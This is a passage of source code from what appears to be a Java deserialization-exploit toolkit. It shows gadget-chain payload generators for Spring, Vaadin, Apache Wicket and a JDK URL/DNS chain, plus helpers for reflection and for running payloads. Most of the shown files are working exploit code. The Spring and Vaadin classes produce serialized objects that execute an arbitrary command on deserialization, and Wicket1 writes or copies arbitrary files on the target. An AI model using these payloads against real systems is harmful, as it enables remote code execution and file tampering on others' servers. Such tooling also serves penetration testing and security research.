36 | Object o = Gadgets.createTemplatesImpl(command); 37 | ObjectBean delegate = new ObjectBean(Templates.class, o); 38 | ObjectBean root = new ObjectBean(ObjectBean.class, delegate); 39 | return Gadgets.makeMap(root, root); 40 | } 41 | 42 | 43 | public static void main ( final String[] args ) throws Exception { 44 | PayloadRunner.run(ROME.class, args); 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface ReleaseableObjectPayload extends ObjectPayload { 9 | 10 | void release( T obj ) throws Exception; 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.beans.factory.ObjectFactory; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.Dependencies; 15 | import ysoserial.payloads.annotation.PayloadTest; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | 24 | ObjectInputStream.readObject() 25 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 26 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 27 | AnnotationInvocationHandler.invoke() 28 | HashMap.get() 29 | ReflectionUtils.findMethod() 30 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 31 | AnnotationInvocationHandler.invoke() 32 | HashMap.get() 33 | ReflectionUtils.invokeMethod() 34 | Method.invoke() 35 | Templates(Proxy).newTransformer() 36 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 37 | ObjectFactory(Proxy).getObject() 38 | AnnotationInvocationHandler.invoke() 39 | HashMap.get() 40 | Method.invoke() 41 | TemplatesImpl.newTransformer() 42 | TemplatesImpl.getTransletInstance() 43 | TemplatesImpl.defineTransletClasses() 44 | TemplatesImpl.TransletClassLoader.defineClass() 45 | Pwner*(Javassist-generated). 46 | Runtime.exec() 47 | 48 | */ 49 | 50 | @SuppressWarnings({"rawtypes"}) 51 | @PayloadTest ( precondition = "isApplicableJavaVersion") 52 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 53 | @Authors({ Authors.FROHOFF }) 54 | public class Spring1 extends PayloadRunner implements ObjectPayload { 55 | 56 | public Object getObject(final String command) throws Exception { 57 | final Object templates = Gadgets.createTemplatesImpl(command); 58 | 59 | final ObjectFactory objectFactoryProxy = 60 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 61 | 62 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 63 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 64 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 65 | 66 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 67 | Gadgets.createMap("getType", typeTemplatesProxy), 68 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 69 | 70 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 71 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 72 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 73 | 74 | return mitp; 75 | } 76 | 77 | public static void main(final String[] args) throws Exception { 78 | PayloadRunner.run(Spring1.class, args); 79 | } 80 | 81 | public static boolean isApplicableJavaVersion() { 82 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import static java.lang.Class.forName; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.aop.framework.AdvisedSupport; 12 | import org.springframework.aop.target.SingletonTargetSource; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.Gadgets; 18 | import ysoserial.payloads.util.JavaVersion; 19 | import ysoserial.payloads.util.PayloadRunner; 20 | import ysoserial.payloads.util.Reflections; 21 | 22 | 23 | /** 24 | * 25 | * Just a PoC to proof that the ObjectFactory stuff is not the real problem. 26 | * 27 | * Gadget chain: 28 | * TemplatesImpl.newTransformer() 29 | * Method.invoke(Object, Object...) 30 | * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) 31 | * JdkDynamicAopProxy.invoke(Object, Method, Object[]) 32 | * $Proxy0.newTransformer() 33 | * Method.invoke(Object, Object...) 34 | * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) 35 | * 36 | * @author mbechler 37 | */ 38 | 39 | @PayloadTest ( precondition = "isApplicableJavaVersion") 40 | @Dependencies ( { 41 | "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", 42 | // test deps 43 | "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" 44 | } ) 45 | @Authors({ Authors.MBECHLER }) 46 | public class Spring2 extends PayloadRunner implements ObjectPayload { 47 | 48 | public Object getObject ( final String command ) throws Exception { 49 | final Object templates = Gadgets.createTemplatesImpl(command); 50 | 51 | AdvisedSupport as = new AdvisedSupport(); 52 | as.setTargetSource(new SingletonTargetSource(templates)); 53 | 54 | final Type typeTemplatesProxy = Gadgets.createProxy( 55 | (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), 56 | Type.class, 57 | Templates.class); 58 | 59 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 60 | Gadgets.createMap("getType", typeTemplatesProxy), 61 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 62 | 63 | Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); 64 | Reflections.setFieldValue(mitp, "provider", typeProviderProxy); 65 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 66 | return mitp; 67 | } 68 | 69 | public static void main ( final String[] args ) throws Exception { 70 | PayloadRunner.run(Spring2.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/URLDNS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URLConnection; 6 | import java.net.URLStreamHandler; 7 | import java.util.HashMap; 8 | import java.net.URL; 9 | 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.Dependencies; 12 | import ysoserial.payloads.annotation.PayloadTest; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | 17 | /** 18 | * A blog post with more details about this gadget chain is at the url below: 19 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ 20 | * 21 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog 22 | * posting describing how he modified the Java Commons Collections gadget 23 | * in ysoserial to open a URL. This takes the same idea, but eliminates 24 | * the dependency on Commons Collections and does a DNS lookup with just 25 | * standard JDK classes. 26 | * 27 | * The Java URL class has an interesting property on its equals and 28 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup 29 | * during a comparison (either equals or hashCode). 30 | * 31 | * As part of deserialization, HashMap calls hashCode on each key that it 32 | * deserializes, so using a Java URL object as a serialized key allows 33 | * it to trigger a DNS lookup. 34 | * 35 | * Gadget Chain: 36 | * HashMap.readObject() 37 | * HashMap.putVal() 38 | * HashMap.hash() 39 | * URL.hashCode() 40 | * 41 | * 42 | */ 43 | @SuppressWarnings({ "rawtypes", "unchecked" }) 44 | @PayloadTest(skip = "true") 45 | @Dependencies() 46 | @Authors({ Authors.GEBL }) 47 | public class URLDNS implements ObjectPayload { 48 | 49 | public Object getObject(final String url) throws Exception { 50 | 51 | //Avoid DNS resolution during payload creation 52 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 53 | URLStreamHandler handler = new SilentURLStreamHandler(); 54 | 55 | HashMap ht = new HashMap(); // HashMap that will contain the URL 56 | URL u = new URL(null, url, handler); // URL to use as the Key 57 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 58 | 59 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 60 | 61 | return ht; 62 | } 63 | 64 | public static void main(final String[] args) throws Exception { 65 | PayloadRunner.run(URLDNS.class, args); 66 | } 67 | 68 | /** 69 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 70 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 71 | * using the serialized object.

72 | * 73 | * Potential false negative: 74 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 75 | * second resolution.

76 | */ 77 | static class SilentURLStreamHandler extends URLStreamHandler { 78 | 79 | protected URLConnection openConnection(URL u) throws IOException { 80 | return null; 81 | } 82 | 83 | protected synchronized InetAddress getHostAddress(URL u) { 84 | return null; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Vaadin1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import javax.management.BadAttributeValueExpException; 4 | 5 | import com.vaadin.data.util.NestedMethodProperty; 6 | import com.vaadin.data.util.PropertysetItem; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.annotation.PayloadTest; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.JavaVersion; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) 17 | @PayloadTest ( precondition = "isApplicableJavaVersion") 18 | @Authors({ Authors.KULLRICH }) 19 | public class Vaadin1 implements ObjectPayload 20 | { 21 | // +-------------------------------------------------+ 22 | // | | 23 | // | BadAttributeValueExpException | 24 | // | | 25 | // | val ==> PropertysetItem | 26 | // | | 27 | // | readObject() ==> val.toString() | 28 | // | + | 29 | // +----------|--------------------------------------+ 30 | // | 31 | // | 32 | // | 33 | // +----|-----------------------------------------+ 34 | // | v | 35 | // | PropertysetItem | 36 | // | | 37 | // | toString () => getPropertyId().getValue () | 38 | // | + | 39 | // +---------------------------------------|------+ 40 | // | 41 | // +-----------------------------+ 42 | // | 43 | // +-----|----------------------------------------------+ 44 | // | v | 45 | // | NestedMethodProperty | 46 | // | | 47 | // | getValue() => java.lang.reflect.Method.invoke () | 48 | // | | | 49 | // +-------------------------------------------|--------+ 50 | // | 51 | // +-----------------------------------+ 52 | // | 53 | // +---|--------------------------------------------+ 54 | // | v | 55 | // | TemplatesImpl.getOutputProperties() | 56 | // | | 57 | // +------------------------------------------------+ 58 | 59 | @Override 60 | public Object getObject (String command) throws Exception 61 | { 62 | Object templ = Gadgets.createTemplatesImpl (command); 63 | PropertysetItem pItem = new PropertysetItem (); 64 | 65 | NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); 66 | pItem.addItemProperty ("outputProperties", nmprop); 67 | 68 | BadAttributeValueExpException b = new BadAttributeValueExpException (""); 69 | Reflections.setFieldValue (b, "val", pItem); 70 | 71 | return b; 72 | } 73 | 74 | public static boolean isApplicableJavaVersion() { 75 | return JavaVersion.isBadAttrValExcReadObj(); 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Vaadin1.class, args); 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Wicket1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.OutputStream; 7 | import java.util.Arrays; 8 | 9 | import org.apache.commons.codec.binary.Base64; 10 | import org.apache.wicket.util.upload.DiskFileItem; 11 | import org.apache.wicket.util.io.DeferredFileOutputStream; 12 | import org.apache.wicket.util.io.ThresholdingOutputStream; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | 21 | /** 22 | * This gadget is almost identical to FileUpload1 since it appears 23 | * that Apache Wicket copied a version of Apache Commons DiskFileItem 24 | * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That 25 | * means that if the target is running less than Oracle Java 7 update 40 26 | * then the NULL byte attack is viable. Otherwise, copy and move attacks 27 | * always work. 28 | * 29 | * This attack is valid for the 1.x and 6.x lines of Apache Wicket but 30 | * was fixed in 1.5.16 and 6.24.0 (released July 2016). 31 | * 32 | * 33 | * Arguments: 34 | * - copyAndDelete;sourceFile;destDir 35 | * - write;destDir;ascii-data 36 | * - writeB64;destDir;base64-data 37 | * - writeOld;destFile;ascii-data 38 | * - writeOldB64;destFile;base64-data 39 | * 40 | * Example: 41 | * Wicket1 "write;/tmp;blue lobster" 42 | * 43 | * Result: 44 | * $ ls -l /tmp/ 45 | * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 46 | * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 47 | * blue lobster 48 | */ 49 | @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") 50 | @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) 51 | @Authors({ Authors.JACOBAINES }) 52 | public class Wicket1 implements ReleaseableObjectPayload { 53 | 54 | public DiskFileItem getObject(String command) throws Exception { 55 | 56 | String[] parts = command.split(";"); 57 | 58 | if (parts.length != 3) { 59 | throw new IllegalArgumentException("Bad command format."); 60 | } 61 | 62 | if ("copyAndDelete".equals(parts[0])) { 63 | return copyAndDelete(parts[1], parts[2]); 64 | } 65 | else if ("write".equals(parts[0])) { 66 | return write(parts[1], parts[2].getBytes("US-ASCII")); 67 | } 68 | else if ("writeB64".equals(parts[0]) ) { 69 | return write(parts[1], Base64.decodeBase64(parts[2])); 70 | } 71 | else if ("writeOld".equals(parts[0]) ) { 72 | return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); 73 | } 74 | else if ("writeOldB64".equals(parts[0]) ) { 75 | return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); 76 | } 77 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); 78 | } 79 | 80 | public void release(DiskFileItem obj) throws Exception { 81 | } 82 | 83 | private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { 84 | return makePayload(0, copyTo, copyAndDelete, new byte[1]); 85 | } 86 | 87 | // writes data to a random filename (update__.tmp) 88 | private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { 89 | return makePayload(data.length + 1, dir, dir + "/whatever", data); 90 | } 91 | 92 | // writes data to an arbitrary file 93 | private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { 94 | return makePayload(data.length + 1, file + "\0", file, data); 95 | } 96 | 97 | private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { 98 | // if thresh < written length, delete outputFile after copying to repository temp file 99 | // otherwise write the contents to repository temp file 100 | File repository = new File(repoPath); 101 | DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); 102 | File outputFile = new File(filePath); 103 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); 104 | OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); 105 | os.write(data); 106 | Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); 107 | Reflections.setFieldValue(diskFileItem, "dfos", dfos); 108 | Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); 109 | return diskFileItem; 110 | } 111 | 112 | public static void main ( final String[] args ) throws Exception { 113 | PayloadRunner.run(FileUpload1.class, args); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Authors.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Authors { 12 | String FROHOFF = "frohoff"; 13 | String PWNTESTER = "pwntester"; 14 | String CSCHNEIDER4711 = "cschneider4711"; 15 | String MBECHLER = "mbechler"; 16 | String JACKOFMOSTTRADES = "JackOfMostTrades"; 17 | String MATTHIASKAISER = "matthias_kaiser"; 18 | String GEBL = "gebl" ; 19 | String JACOBAINES = "jacob-baines"; 20 | String JASINNER = "jasinner"; 21 | String KULLRICH = "kai_ullrich"; 22 | String TINT0 = "_tint0"; 23 | String SCRISTALLI = "scristalli"; 24 | String HANYRAX = "hanyrax"; 25 | String EDOARDOVIGNATI = "EdoardoVignati"; 26 | String JANG = "Jang"; 27 | String ARTSPLOIT = "artsploit"; 28 | 29 | String[] value() default {}; 30 | 31 | public static class Utils { 32 | public static String[] getAuthors(AnnotatedElement annotated) { 33 | Authors authors = annotated.getAnnotation(Authors.class); 34 | if (authors != null && authors.value() != null) { 35 | return authors.value(); 36 | } else { 37 | return new String[0]; 38 | } 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Dependencies { 12 | String[] value() default {}; 13 | 14 | public static class Utils { 15 | public static String[] getDependencies(AnnotatedElement annotated) { 16 | Dependencies deps = annotated.getAnnotation(Dependencies.class); 17 | if (deps != null && deps.value() != null) { 18 | return deps.value(); 19 | } else { 20 | return new String[0]; 21 | } 22 | } 23 | 24 | public static String[] getDependenciesSimple(AnnotatedElement annotated) { 25 | String[] deps = getDependencies(annotated); 26 | String[] simple = new String[deps.length]; 27 | for (int i = 0; i < simple.length; i++) { 28 | simple[i] = deps[i].split(":", 2)[1]; 29 | } 30 | return simple; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/PayloadTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.Retention; 4 | import java.lang.annotation.RetentionPolicy; 5 | 6 | /** 7 | * @author mbechler 8 | * 9 | */ 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface PayloadTest { 12 | String skip() default ""; 13 | 14 | String precondition() default ""; 15 | 16 | String harness() default ""; 17 | 18 | String flaky() default ""; 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/JavaVersion.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public class JavaVersion { 9 | 10 | 11 | public int major; 12 | public int minor; 13 | public int update; 14 | 15 | 16 | 17 | public static JavaVersion getLocalVersion() { 18 | String property = System.getProperties().getProperty("java.version"); 19 | if ( property == null ) { 20 | return null; 21 | } 22 | JavaVersion v = new JavaVersion(); 23 | String parts[] = property.split("\\.|_|-"); 24 | int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix 25 | v.major = Integer.parseInt(parts[start + 0]); 26 | v.minor = Integer.parseInt(parts[start + 1]); 27 | v.update = Integer.parseInt(parts[start + 2]); 28 | return v; 29 | } 30 | 31 | public static boolean isAnnInvHUniversalMethodImpl() { 32 | JavaVersion v = JavaVersion.getLocalVersion(); 33 | return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); 34 | } 35 | 36 | public static boolean isBadAttrValExcReadObj() { 37 | JavaVersion v = JavaVersion.getLocalVersion(); 38 | return v != null && (v.major > 8 && v.update >= 76); 39 | } 40 | 41 | public static boolean isAtLeast(int major) { 42 | JavaVersion v = JavaVersion.getLocalVersion(); 43 | return v != null && v.major >= major; 44 | } 45 | } 46 | 47 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.File; 4 | import java.io.FileOutputStream; 5 | import java.util.concurrent.Callable; 6 | 7 | import sun.misc.BASE64Encoder; 8 | import ysoserial.Deserializer; 9 | import ysoserial.Serializer; 10 | import static ysoserial.Deserializer.deserialize; 11 | import static ysoserial.Serializer.serialize; 12 | import ysoserial.payloads.ObjectPayload; 13 | import ysoserial.payloads.ObjectPayload.Utils; 14 | import ysoserial.secmgr.ExecCheckingSecurityManager; 15 | 16 | /* 17 | * utility class for running exploits locally from command line 18 | */ 19 | @SuppressWarnings("unused") 20 | public class PayloadRunner { 21 | 22 | public static void run(final Class> clazz, final String[] args) throws Exception { 23 | // ensure payload generation doesn't throw an exception 24 | byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ 25 | public byte[] call() throws Exception { 26 | final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); 27 | 28 | System.out.println("generating payload object(s) for command: '" + command + "'"); 29 | 30 | ObjectPayload payload = clazz.newInstance(); 31 | final Object objBefore = payload.getObject(command); 32 | 33 | System.out.println("serializing payload"); 34 | byte[] ser = Serializer.serialize(objBefore); 35 | File file = new File("cc.ser"); 36 | FileOutputStream fileOutputStream = new FileOutputStream(file); 37 | fileOutputStream.write(ser); 38 | fileOutputStream.close(); 39 | System.out.println(ser.length); 40 | Utils.releasePayload(payload, objBefore); 41 | return ser; 42 | }}); 43 | System.out.println(new BASE64Encoder().encode(serialized)); 44 | 45 | try { 46 | System.out.println("deserializing payload"); 47 | final Object objAfter = Deserializer.deserialize(serialized); 48 | } catch (Exception e) { 49 | e.printStackTrace(); 50 | } 51 | 52 | } 53 | 54 | private static String getDefaultTestCmd() { 55 | return getFirstExistingFile( 56 | "C:\\Windows\\System32\\calc.exe", 57 | "/Applications/Calculator.app/Contents/MacOS/Calculator", 58 | "/usr/bin/gnome-calculator", 59 | "/usr/bin/kcalc" 60 | ); 61 | } 62 | 63 | private static String getFirstExistingFile(String ... files) { 64 | return "calc.exe"; 65 | // for (String path : files) { 66 | // if (new File(path).exists()) { 67 | // return path; 68 | // } 69 | // } 70 | // throw new UnsupportedOperationException("no known test executable"); 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.lang.reflect.AccessibleObject; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import sun.reflect.ReflectionFactory; 9 | 10 | import com.nqzero.permit.Permit; 11 | 12 | @SuppressWarnings ( "restriction" ) 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | String versionStr = System.getProperty("java.version"); 17 | int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); 18 | if (javaVersion < 12) { 19 | // quiet runtime warnings from JDK9+ 20 | Permit.setAccessible(member); 21 | } else { 22 | // not possible to quiet runtime warnings anymore... 23 | // see https://bugs.openjdk.java.net/browse/JDK-8210522 24 | // to understand impact on Permit (i.e. it does not work 25 | // anymore with Java >= 12) 26 | member.setAccessible(true); 27 | } 28 | } 29 | 30 | public static Field getField(final Class clazz, final String fieldName) { 31 | Field field = null; 32 | try { 33 | field = clazz.getDeclaredField(fieldName); 34 | setAccessible(field); 35 | } 36 | catch (NoSuchFieldException ex) { 37 | if (clazz.getSuperclass() != null) 38 | field = getField(clazz.getSuperclass(), fieldName); 39 | } 40 | return field; 41 | } 42 | 43 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 44 | final Field field = getField(obj.getClass(), fieldName); 45 | field.set(obj, value); 46 | } 47 | 48 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 49 | final Field field = getField(obj.getClass(), fieldName); 50 | return field.get(obj); 51 | } 52 | 53 | public static Constructor getFirstCtor(final String name) throws Exception { 54 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 55 | setAccessible(ctor); 56 | return ctor; 57 | } 58 | 59 | public static Object newInstance(String className, Object ... args) throws Exception { 60 | return getFirstCtor(className).newInstance(args); 61 | } 62 | 63 | public static T createWithoutConstructor ( Class classToInstantiate ) 64 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 65 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 66 | } 67 | 68 | @SuppressWarnings ( {"unchecked"} ) 69 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 70 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 71 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 72 | setAccessible(objCons); 73 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 74 | setAccessible(sc); 75 | return (T)sc.newInstance(consArgs); 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial.secmgr; 2 | 3 | import java.security.Permission; 4 | import java.util.Collections; 5 | import java.util.LinkedList; 6 | import java.util.List; 7 | import java.util.concurrent.Callable; 8 | 9 | // TODO per-thread secmgr 10 | public class ExecCheckingSecurityManager extends SecurityManager { 11 | public ExecCheckingSecurityManager() { 12 | this(true); 13 | } 14 | 15 | public ExecCheckingSecurityManager(boolean throwException) { 16 | this.throwException = throwException; 17 | } 18 | 19 | private final boolean throwException; 20 | 21 | private final List cmds = new LinkedList(); 22 | 23 | public List getCmds() { 24 | return Collections.unmodifiableList(cmds); 25 | } 26 | 27 | @Override 28 | public void checkPermission(final Permission perm) { } 29 | 30 | @Override 31 | public void checkPermission(final Permission perm, final Object context) { } 32 | 33 | @Override 34 | public void checkExec(final String cmd) { 35 | super.checkExec(cmd); 36 | 37 | cmds.add(cmd); 38 | 39 | if (throwException) { 40 | // throw a special exception to ensure we can detect exec() in the test 41 | throw new ExecException(cmd); 42 | } 43 | }; 44 | 45 | @SuppressWarnings("serial") 46 | public static class ExecException extends RuntimeException { 47 | private final String threadName = Thread.currentThread().getName(); 48 | private final String cmd; 49 | public ExecException(String cmd) { this.cmd = cmd; } 50 | public String getCmd() { return cmd; } 51 | public String getThreadName() { return threadName; } 52 | @ 53 | Override 54 | public String getMessage() { 55 | return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; 56 | } 57 | } 58 | 59 | public void callWrapped(final Runnable runnable) throws Exception { 60 | callWrapped(new Callable(){ 61 | public Void call() throws Exception { 62 | runnable.run(); 63 | return null; 64 